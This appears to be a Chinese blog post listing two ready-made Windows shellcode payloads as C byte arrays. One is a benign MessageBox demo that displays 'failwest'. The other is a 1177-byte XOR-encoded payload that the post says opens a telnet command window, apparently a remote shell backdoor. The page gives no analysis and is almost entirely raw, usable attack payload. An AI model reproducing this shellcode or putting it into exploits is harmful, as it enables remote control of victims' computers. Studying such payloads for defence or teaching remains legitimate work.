几段shellcode.

1.显示一个msgbox:
char failwest_popup[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
2.显示一个telnet cmd窗口:
/* 1177 bytes */
char shellcode[]=
        
"\xeb\x10\x5b\x4b\x33\xc9\x66\xb9\x82\x4\x80\x34\xb\xf6\xe2\xfa"
        
"\xeb\x5\xe8\xeb\xff\xff\xff\x1f\xfa\xf2\xf6\xf6\xa9\x92\x57\xc6"
        
"\xf6\xf6\xf6\x7d\xb6\xfa\x7d\x86\xea\x5b\x7d\x9e\xfe\x7d\x1\x9c"
        
"\xf8\xaf\x1e\x5a\xf5\xf6\xf6\x14\xf\x9e\xc5\xc4\xf6\xf6\x9e\x81"
        
"\x85\xc4\xa9\xa2\x9\xe0\x7d\x1e\x9c\xfb\xaf\x1e\x65\xf5\xf6\xf6"
        
"\x14\xf\xc5\x2d\x9e\x1e\xf5\xf6\xf6\x9\xa0\xc2\xb5\x9c\xf7\x9c"
        
"\xfc\xa5\x9\xa0\xc6\x73\x36\x83\x5\x9c\xf6\xa2\x9e\x89\x90\xf2"
        
"\xb6\xa5\x9\xa0\x92\xaf\x75\xf\xf2\x83\x17\xa6\x7d\x22\x9c\xf6"
        
"\x9c\xf2\xa4\xa5\x9\xa0\xa6\xae\xcb\xae\x95\xc6\x98\x83\x3b\x7f"
        
"\xa8\x86\x9c\xf7\x9c\xf6\x9c\xfa\x7d\x2a\x9e\x9\xf6\xf6\xf6\xa5"
        
"\x7b\xa0\x82\xa4\x75\x34\xf2\xa4\x9\xa0\xfa\x9e\xaa\xc6\xf6\xf6"
        
"\x9e\x86\x9f\x86\x93\x9e\xaa\xaa\xd8\xaa\x7d\xa\xc5\x36\xa6\xa6"
        
"\xa6\xa6\x9e\x9\xf6\xf6\xf6\xa6\x9e\xf5\xf6\xf6\xb6\xa1\x9\xa0"
        
"\xe6\x7f\x70\x76\xf6\xf6\xf6\xc5\x36\xa6\xa6\x9c\xf5\xa5\xa6\x9e"
        
"\xf6\xf6\xf6\xf4\xa1\x9\xa0\xd2\x7f\xb0\x8a\x9e\x95\x9b\x92\xf6"
        
"\x7b\xe2\xd2\x75\x1a\xa2\x7d\xa\x9c\xe2\xaf\xc5\x36\x7f\xf2\x79"
        
"\x14\xd\x30\xb1\xe6\xb2\x8\xb1\xca\x8\xb1\xcb\x9\x80\x8e\xad"
        
"\x7f\xa9\xbe\x9\x80\x8a\xad\x7f\xa9\xba\x7f\xa9\xa6\x7b\xb1\xe6"
        
"\xa1\xa6\xa7\xa7\xa7\x9c\xf7\xa7\xa7\xa4\xa7\x9\xa0\xf2\x9\xc1"
        
"\x79\x70\x72\xf6\xf6\xf6\x9\x81\xf2\x79\x70\x7e\xf6\xf6\xf6\x9"
        
"\x80\x8e\x9\xa0\xe2\x9\x80\x8a\x9\xa0\xe2\x75\x32\x9a\xc5\x36"
        
"\xa6\x9c\xf7\x9c\xf7\xa6\x9\xa0\xee\x7f\x70\x7a\xf6\xf6\xf6\xc5"
        
"\x2d\x7f\x68\x52\xf6\xf6\xf6\x7f\x70\x5e\xf6\xf6\xf6\x9\xa0\xae"
        
"\x7f\x70\x66\xf6\xf6\xf6\x31\x70\x62\xf6\xf6\xf6\xf6\xf6\xf6\xf6"
        
"\x9c\xd7\x9\x40\x66\xf6\xf6\xf6\x9\x80\x86\x9\xa0\xaa\xc5\x36"
        
"\xbe\xa6\xb6\xa6\x7b\x68\x7a\xf6\xf6\xf6\xa5\x9c\xf4\x9\xa0\xea"
        
"\xa6\x7b\x68\x6\xf6\xf6\xf6\xa5\x9\x40\x66\xf6\xf6\xf6\x9\x80"
        
"\x86\x9\xa0\x96\x9c\xf6\x9\x40\x66\xf6\xf6\xf6\x9\x80\x86\x9"
        
"\xa0\xaa\x9c\xf6\xa2\x9e\x88\x90\xf2\x76\x9\x80\x86\x9\xa0\x92"
        
"\xae\xaf\x15\xaa\xbf\xf9\x73\x2d\xf6\xf6\xf6\x9c\xf6\x9c\xb6\x7b"
        
"\x60\x6\xf6\xf6\xf6\xa4\x9\x80\x86\x9\xa0\xa6\x7b\x60\x6\xf6"
        
"\xf6\xf6\xa6\xaf\x1e\x14\xf7\xf6\xf6\x77\x48\x6\xf6\xf6\xf6\x91"
        
"\x93\x82\xd6\xf9\x72\x12\xf6\xf6\xf6\x77\x48\x6\xf6\xf6\xf6\x86"
        
"\x83\x82\xd6\xf9\x72\xb5\xf7\xf6\xf6\x9c\xf6\x7b\x68\x5a\xf6\xf6"
        
"\xf6\xa5\xa6\x7b\x68\x6\xf6\xf6\xf6\xa5\x9\x80\x82\x9\xa0\xda"
        
"\x7d\x78\x62\xf6\xf6\xf6\x15\xeb\xa6\x7b\x68\x5a\xf6\xf6\xf6\xa5"
        
"\x7b\x68\x6e\xf6\xf6\xf6\xa5\x9\x40\x76\xf6\xf6\xf6\x9\xa0\xd6"
        
"\x67\x15\x95\x1d\xd8\x7b\x68\x6e\xf6\xf6\xf6\xa5\x7b\x68\x5a\xf6"
        
"\xf6\xf6\xa5\x9c\xb6\x7b\x68\x46\xf6\xf6\xf6\xa5\x9\x40\x76\xf6"
        
"\xf6\xf6\x9\xa0\xde\x9\x70\x62\xf6\xf6\xf6\x73\x36\xf9\x72\xb"
        
"\x8\x9\x9\x7b\x60\x46\xf6\xf6\xf6\x9\x40\x5a\xf6\xf6\xf6\xaf"
        
"\x1e\xb0\xf7\xf6\xf6\x9\x78\x62\xf6\xf6\xf6\x9c\xf6\x7d\x68\x5a"
        
"\xf6\xf6\xf6\xa5\x7b\x68\x46\xf6\xf6\xf6\xa5\x9\x80\x86\x9\xa0"
        
"\xa2\x1f\x3c\x8\x9\x9\x9\x40\x72\xf6\xf6\xf6\x9\xa0\xfe\x9"
        
"\x40\x72\xf6\xf6\xf6\x9\x40\x7e\xf6\xf6\xf6\x9\x40\x76\xf6\xf6"
        
"\xf6\x9\x80\x82\x9\xa0\xe2\x9\xa0\xe2\x9\xa0\xe2\x9\xa0\xe2"
        
"\x9\x80\x86\x9\xa0\x9e\xc5\x36\xbe\xa6\x9\xa0\xfe\x30\x72\xf0"
        
"\x19\xf6\xf6\xf6\xf6\x7b\x60\x2\xf6\xf6\xf6\xc5\x36\xa6\xa6\x9c"
        
"\xf5\xa6\xa6\x9e\xf6\xf6\xf6\xf4\xa4\x9\xa0\xd2\x7f\xb0\x8a\x9c"
        
"\xf6\x7b\x60\x5a\xf6\xf6\xf6\xa4\x9c\xb6\x7b\x60\x46\xf6\xf6\xf6"
        
"\xa4\x9\x80\x8a\x9\xa0\xde\x7d\x78\x5a\xf6\xf6\xf6\x15\xd4\x7b"
        
"\x60\x46\xf6\xf6\xf6\x1e\x57\xf6\xf6\xf6\x9c\xf6\x9\x40\x5a\xf6"
        
"\xf6\xf6\x7b\x60\x46\xf6\xf6\xf6\xa4\x9\x80\x86\x9\xa0\xa2\x1d"
        
"\x48\x9\x80\x8a\x9\xa0\xe2\x1f\xd2\x8\x9\x9\x30\x72\xf0\x19"
        
"\xf6\xf6\xf6\xf6\x7b\x60\x2\xf6\xf6\xf6\xc5\x36\xa6\xa6\x9c\xf4"
        
"\xa6\xa6\x9e\xf6\xf6\xf6\xf4\xa4\x9\xa0\xd2\x7f\xb0\x8a\x9c\xf6"
        
"\x9c\xb6\x7b\x60\x46\xf6\xf6\xf6\xa4\x9\x80\x86\x9\xa0\xa6\x7b"
        
"\x60\x46\xf6\xf6\xf6\xa6\xaf\x1e\xc9\xf6\xf6\xf6\x9c\xf6\x7b\x60"
        
"\x5a\xf6\xf6\xf6\xa4\xa6\x7b\x60\x46\xf6\xf6\xf6\xa4\x9\x80\x8a"
        
"\x9\xa0\xda\x9c\xf6\xa2\x9e\x89\x90\xf2\xb6\x9\x80\x86\x9\xa0"
        
"\x92\xaf\x15\xf4\x1d\x4e\x9\x80\x8a\x9\xa0\xe2\x30\x70\x6\xf6"
        
"\xf6\xf6\xfc\x9c\xf7\xae\x1f\xc8\x8\x9\x9\xbc\x76\xc2\xfc\xc5"
        
"\x14\xc\x35\xa7\xa0\x7d\x83\xca\x7d\x82\xd8\x8e\xf5\x3\xa0\x7d"
        
"\x80\xd6\xf5\x3\xc5\x3f\xbf\xb7\x5b\xf5\x33\xc5\x2d\xf9\x48\xe6"
        
"\xcc\x20\x82\xfe\x37\x3d\xf1\xf5\x2c\xb6\x1d\x7\xcd\xe9\x83\x11"
        
"\xa8\x7d\xa8\xd2\xf5\x2b\x90\x7d\xfa\xbd\x7d\xa8\xea\xf5\x2b\x7d"
        
"\xf2\x7d\xf5\x33\x5d\xa8\xaf\x35\x1e\x19\xd\x9\x9\xc4\x82\x67"
        
"\xfa\x3f\x4a\x50\x9d\x79\x4\xee\x97\xbc\x8f\xef\x8c\x5e\xbd\x96"
        
"\x68\xa1\x90\xfb\x9\x80\x67\xbb\x9b\x7e\xae\x45\x5a\x7c\x71\x90"
        
"\x94\x65\xc4\x12\x62\x44\xc0\xf9\xe5\x32\x7b\xe9\x82\x25\x7e\xde"
        
"\xbf\x56\x93\x61\x3d\xcb\x9c\x42\x76\xdb\xc4\x8e\x28\x6e\x32\x4f"
        
"\x28\x92\xe6\x51\x2b\xfa\x69\x25\xbd\x47\xe8\x61\xf7\x80\x66\x61"
        
"\x31\x92\x6e\x61\x2b\x60\x23\x23\x5e\x6a\xf1\x2a\xac\x2e\xe6\xd1"
        
"\x51\xa4\x75\x1f\x1c\xba\xf9\xdf\x27";

Powered by Jekyll and Theme by solid

本站总访问量